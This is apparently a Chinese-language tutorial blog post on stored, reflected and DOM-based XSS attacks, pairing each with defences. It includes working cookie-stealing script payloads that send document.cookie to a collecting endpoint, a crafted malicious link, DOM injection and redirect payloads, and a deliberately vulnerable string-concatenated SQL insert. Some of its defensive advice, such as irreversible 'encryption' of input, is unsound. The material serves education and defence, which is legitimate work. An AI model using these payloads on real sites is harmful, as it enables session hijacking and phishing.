一. 引言
Cross-Site Scripting(跨站腳本攻擊)簡(jiǎn)稱XSS,是一種代碼注入攻擊。XSS 攻擊通常指的是利用網(wǎng)頁(yè)的漏洞,攻擊者通過(guò)巧妙的方法注入 XSS 代碼到網(wǎng)頁(yè),因?yàn)闉g覽器無(wú)法分辨哪些腳本是可信的,導(dǎo)致 XSS 腳本被執(zhí)行。XSS 腳本通常能夠竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶,調(diào)用目標(biāo)網(wǎng)站接口并執(zhí)行攻擊者指定的操作。
我們需要關(guān)注XSS漏洞,主要是因?yàn)樗赡軐?duì)個(gè)人用戶和企業(yè)網(wǎng)站造成嚴(yán)重影響。首先,XSS攻擊可能導(dǎo)致用戶的個(gè)人信息被盜取,例如反射型XSS攻擊大多數(shù)是用來(lái)盜取用戶的Cookie信息。其次,XSS漏洞也可能影響企業(yè)網(wǎng)站的正常運(yùn)行,甚至成為蠕蟲(chóng)和盜竊cookie的工具。此外,XSS漏洞還可以用于執(zhí)行一些惡意操作,如篡改網(wǎng)頁(yè)內(nèi)容、竊取會(huì)話和cookie等。更重要的是,由于所有的輸入都可能成為XSS漏洞的載體,這使得XSS防護(hù)變得尤為重要。因此,了解并關(guān)注XSS漏洞,對(duì)于保護(hù)個(gè)人隱私和企業(yè)安全有著至關(guān)重要的作用。
二. XSS漏洞的基本概念
跨站腳本攻擊(XSS),是一種網(wǎng)絡(luò)安全漏洞,其實(shí)就是對(duì)用于的數(shù)據(jù)過(guò)濾不到位,它允許攻擊者將惡意代碼注入到其網(wǎng)站中。比如:在博客的內(nèi)容中寫(xiě)入了一些惡意的腳本,但是博客并未對(duì)這些惡意的腳本進(jìn)行處理,當(dāng)其他用戶再次請(qǐng)求查看博客內(nèi)容的時(shí)候,在瀏覽器解析的時(shí)候會(huì)將博客內(nèi)容的惡意腳本誤認(rèn)為是JS或HTML然后進(jìn)行執(zhí)行,這樣就可以做一些惡意的操作,比如盜取該訪客用戶的個(gè)人信息,也可以執(zhí)行一些惡意代碼在服務(wù)器或訪客用戶電腦上,以獲取一些敏感信息。這種攻擊方式能夠使得攻擊者在不同的網(wǎng)站上運(yùn)行,而這種攻擊主要利用的是網(wǎng)頁(yè)編程中的腳本語(yǔ)言,比如JS或HTML。對(duì)于XSS攻擊主要有三種類型,存儲(chǔ)型XSS攻擊、反射型XSS攻擊以及DOM型XSS攻擊接下來(lái)我們針對(duì)這三類分開(kāi)來(lái)說(shuō):
2.1 存儲(chǔ)型XSS攻擊
顧名思義存儲(chǔ)型XSS,也就是XSS代碼被攻擊者存儲(chǔ)到服務(wù)器當(dāng)中,因此一旦有用戶訪問(wèn)含有該存儲(chǔ)型XSS代碼的網(wǎng)站的時(shí)候就會(huì)被攻擊。舉個(gè)例子,比如這個(gè)XSS的攻擊代碼中,將瀏覽者本機(jī)的cookie發(fā)送給hacker,接下來(lái),我們逐步在實(shí)現(xiàn)這樣的一個(gè)攻擊案例
2.1.1 尋找一個(gè)對(duì)寫(xiě)入過(guò)濾不嚴(yán)謹(jǐn)?shù)木W(wǎng)站,或者自己搭建一個(gè)對(duì)參數(shù)過(guò)濾不嚴(yán)格的網(wǎng)站
第一:這個(gè)網(wǎng)站對(duì)輸入?yún)?shù),不做任何過(guò)濾,直接寫(xiě)入數(shù)據(jù)庫(kù),而且寫(xiě)入數(shù)據(jù)庫(kù)不能使用參數(shù)化,需要使用字符串拼接
insert into blog(username,content) values('"+ name +"','" + content+"';
直接這樣,我們的html以及script的一些標(biāo)簽可以直接寫(xiě)入到數(shù)據(jù)庫(kù)
第二:這個(gè)網(wǎng)站在顯示博客數(shù)據(jù)的時(shí)候,未做任何操作,直接向HTML節(jié)點(diǎn)上附加DOM元素
有這樣的先決條件,我們?cè)谶M(jìn)行XSS存儲(chǔ)型攻擊的時(shí)候就非常方便了
2.1.2 搭建一個(gè)接收信息的服務(wù)
這個(gè)服務(wù)器主要是接收從受害者哪里獲取到的敏感信息,比如獲取cookie信息,這個(gè)服務(wù)接收到信息的時(shí)候直接存儲(chǔ)下來(lái),比如存儲(chǔ)到數(shù)據(jù)庫(kù)或文本文件中
http://localhost/CrackTest/xsstest/test?cookie=xxx
這個(gè)服務(wù)是一個(gè)get請(qǐng)求,接收一個(gè)cookie參數(shù)
接下來(lái),我們構(gòu)造payload進(jìn)行攻擊
<script>window.open(\'http://localhost/CrackTest/xsstest/test?cookie=\'+document.cookie)</script>
這個(gè)payload主要含義,就是通過(guò)window.open()函數(shù)遠(yuǎn)程調(diào)用http://localhost/CrackTest/xsstest/test,然后通過(guò)javascript的document.cookie獲取受害者的cookie信息,這樣就可以將受害者的cookie信息發(fā)送到hacker的服務(wù)上了
hacker在寫(xiě)博客的時(shí)候?qū)⑸厦娴膒ayload寫(xiě)入到博客內(nèi)容中,然后就開(kāi)始等待了
2.1.3 受害者無(wú)知的訪問(wèn)了該博客內(nèi)容
受害者不明真相的訪問(wèn)了該博客,引發(fā)上面的payload腳本被執(zhí)行,那么受害者瀏覽器中的cookie信息就被發(fā)送到hacker搭建的服務(wù)上了,也就完成了對(duì)受害者信息的竊取
2.1.4 如何防護(hù)存儲(chǔ)型xss攻擊
1.設(shè)置HttpOnly標(biāo)志,因?yàn)镠ttpOnly標(biāo)志可以有效防止非法用戶通過(guò)javascript讀取cookie,setcookie()的參數(shù),改為setcookie(‘username’,$name,time()+3600,NULL,NULL,NULL,TRUE);setcookie()函數(shù)里面第七個(gè)參數(shù)就是HttpOnly的設(shè)置
2.輸入驗(yàn)證,對(duì)HTML元素和JS元素進(jìn)行驗(yàn)證,在執(zhí)行SQL插入操作的時(shí)候不允許HTML元素和JS元素存儲(chǔ)在數(shù)據(jù)庫(kù)中
3.對(duì)HTML元素渲染進(jìn)行限制,并對(duì)對(duì) HTML 做充分轉(zhuǎn)義,限制輸入框的html或js不允許其執(zhí)行,或限制其執(zhí)行范圍。
4.采用Content Security Policy(CSP)策略,即內(nèi)容安全策略,它用于檢測(cè)并削弱某些特定類型的攻擊,包括夸贊腳本和數(shù)據(jù)注入攻擊等。為使 CSP 可用,你需要配置你的網(wǎng)絡(luò)服務(wù)器返回 Content-Security-Policy HTTP 標(biāo)頭
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
5.使用JavaScript Encryption
主要是對(duì)輸入內(nèi)容進(jìn)行加密,加密的主要原理是破壞原有輸入內(nèi)容的結(jié)構(gòu)導(dǎo)致,最好是選擇不可逆的加密算法,這樣就可以保證輸入的內(nèi)容不可能再次被執(zhí)行
6.HTML實(shí)體編碼
對(duì)HTML實(shí)體進(jìn)行編碼,目的也是為了破壞惡意腳本可執(zhí)行的結(jié)構(gòu)
2.2 反射型XSS攻擊
反射型XSS將用戶輸入的內(nèi)容作為代碼讓瀏覽器執(zhí)行達(dá)到攻擊目的,一般需要讓用戶訪問(wèn)攻擊者構(gòu)造的URL。這種類型的攻擊只發(fā)生在客戶端上,并且需要從帶有惡意腳本參數(shù)的特定URL進(jìn)入,所以也稱為非持久型XSS。
其實(shí)也很常見(jiàn),就比如通過(guò)QQ、郵件系統(tǒng)、短信收到的一些莫名其妙的鏈接,此時(shí)hacker會(huì)將這個(gè)惡意鏈接包裝成“中獎(jiǎng)”、“領(lǐng)取福利”或“某些秘密鏈接”,受害者在好奇心或撿便宜的心態(tài)驅(qū)使下點(diǎn)開(kāi)了這個(gè)鏈接,然后執(zhí)行了連接中隱藏的惡意代碼,然后就將自己電腦或手機(jī)上敏感信息傳送給hacker搭建的服務(wù)。
接下來(lái)我們看看如何搭建一個(gè)反射型XSS攻擊實(shí)例:
2.2.1 hacker搭建一個(gè)服務(wù),用于接收用戶敏感信息
這個(gè)服務(wù)其實(shí)可以和上面的2.1.2類似
2.2.2 hacker偽造一個(gè)帶有惡意代碼的鏈接,然后通過(guò)郵件系統(tǒng)發(fā)送給受害者
首先構(gòu)造一個(gè)惡意的鏈接,這個(gè)鏈接主要是后面的參數(shù),即獲取受害者cookie信息,然后將信息發(fā)送給hacker
http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://localhost/CrackTest/xsstest/test?cookie=”%2bescape(document.cookie);+document.appendChild(img)</script>
然后這個(gè)鏈接通過(guò)QQ、短信或郵件的方式發(fā)送給對(duì)方,其實(shí)比較常見(jiàn)是通過(guò)郵件,因?yàn)榭梢源罅堪l(fā)送,成本低,并且有些郵件系統(tǒng)未對(duì)安全做充分認(rèn)證,hacker會(huì)將連接包裝成一個(gè)特別誘人的名字,這樣更能誘導(dǎo)用戶點(diǎn)擊
2.2.3 坐等魚(yú)兒上鉤
hacker只需要不斷的監(jiān)控接收服務(wù)接收到的數(shù)據(jù)即可
2.2.4 如何防護(hù)呢?
1.對(duì)于自建的郵件系統(tǒng),我們要設(shè)置反垃圾郵件的設(shè)置,提高郵箱的安全性
2.加強(qiáng)自我安全認(rèn)識(shí),對(duì)陌生的鏈接或陌生的網(wǎng)站,最好不要亂去訪問(wèn),說(shuō)不定某一個(gè)鏈接后面就有一個(gè)反射XSS攻擊在哪里等著你。
2.3 DOM型XSS攻擊
DOM型的XSS,我認(rèn)為是XSS攻擊類型中最復(fù)雜的,需要一定的前端開(kāi)發(fā)經(jīng)驗(yàn),接下來(lái)我們?cè)敿?xì)了解一下DOM型XSS攻擊。
首先我們要了解什么是DOM,全稱為文檔對(duì)象模型(Document Object Model),主要是Web前端開(kāi)發(fā)中使用到的一種模型。比如:在前端開(kāi)發(fā)中會(huì)使用到很多元素,如< title>、< h1>等,而為了方便使用這些已經(jīng)定義的元素,將這些元素作為結(jié)點(diǎn)排成樹(shù)狀后,通過(guò)遍歷這棵樹(shù),就可以很方便的調(diào)用這些元素。而這顆樹(shù)就稱為DOM樹(shù)。
接下來(lái)我們通過(guò)一個(gè)實(shí)例來(lái)實(shí)驗(yàn)一下DOM型XSS攻擊:
2.3.1構(gòu)造一個(gè)存在DOM型XSS漏洞html頁(yè)面
首先,我們要構(gòu)造DOM型XSS漏洞,就需要js獲取從url的數(shù)據(jù)并將其傳遞到支持動(dòng)態(tài)代碼執(zhí)行的接收器,就會(huì)存在DOM的XSS漏洞。常見(jiàn)的JS接收器有:
document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
如下HTML即存在DOM型XSS漏洞
在輸入query參數(shù)之后,參數(shù)就可以在HTML頁(yè)面中顯式
2.3.2 進(jìn)行XSS漏洞攻擊
我們可以看到輸入的參數(shù)在原先的頁(yè)面HTML元素中被原封不動(dòng)的顯示出來(lái),并未做任何處理。接下來(lái),我們可以考慮使用DOM元素閉合的方式提前結(jié)束img標(biāo)簽,然后新增我們需要增加的HTML元素,就比如:
"><svg onload=alert(1)>
這段輸入的含義是,首先閉合原先的img標(biāo)簽,然后在后面增加了一個(gè)svg的HTML的DOM元素標(biāo)簽,通過(guò)驗(yàn)證我們發(fā)現(xiàn)彈出框已經(jīng)出來(lái)了,按照這個(gè)思路我們可以構(gòu)造一些更加危險(xiǎn)的腳本。接下來(lái)就可以通過(guò)此漏洞構(gòu)造虛假的URL誘使受害用戶點(diǎn)擊以獲得cookie,與之前的反射型或存儲(chǔ)型XSS基本一致。還可以利用window.location.assign(URL)將受害用戶重定向到釣魚(yú)網(wǎng)站。
"><svg οnlοad=window.location.assign("http://www.baidu.com")>
2.3.3 構(gòu)造這樣的頁(yè)面,進(jìn)行釣魚(yú)攻擊
比如在某些Blog系統(tǒng)中,如果對(duì)輸入為做好驗(yàn)證,以及安全防護(hù)不高的情況下,hacker對(duì)某一個(gè)大V的博客進(jìn)行回復(fù),并且回復(fù)內(nèi)容將這種漏洞的payload儲(chǔ)存在評(píng)論中。那么不知名的受害者,訪問(wèn)了這個(gè)大V的博客,輕者被誘導(dǎo)到一個(gè)不知名的網(wǎng)站,重則會(huì)損失跟人信息甚至是金錢(qián)。
2.3.4 防護(hù)DOM型XSS攻擊
則類漏洞,主要還是參考2.1.4防護(hù)方式文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-738791.html
2.4 總結(jié)
我們對(duì)XSS漏洞有了一個(gè)整體的認(rèn)識(shí),包括存儲(chǔ)型XSS攻擊、反射型XSS攻擊和DOM型XSS攻擊,其危害性還是比較大。我們只是從原理上風(fēng)向這些XSS漏洞出現(xiàn)的原因,也是為了讓我們?cè)诮ㄔO(shè)軟件的時(shí)候能夠更好的防護(hù)XSS攻擊,以及對(duì)自我的安全教育,不要對(duì)那些未知的不知名的網(wǎng)站劫持了cookie里面敏感的信息。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-738791.html
到了這里,關(guān)于網(wǎng)絡(luò)安全之XSS漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!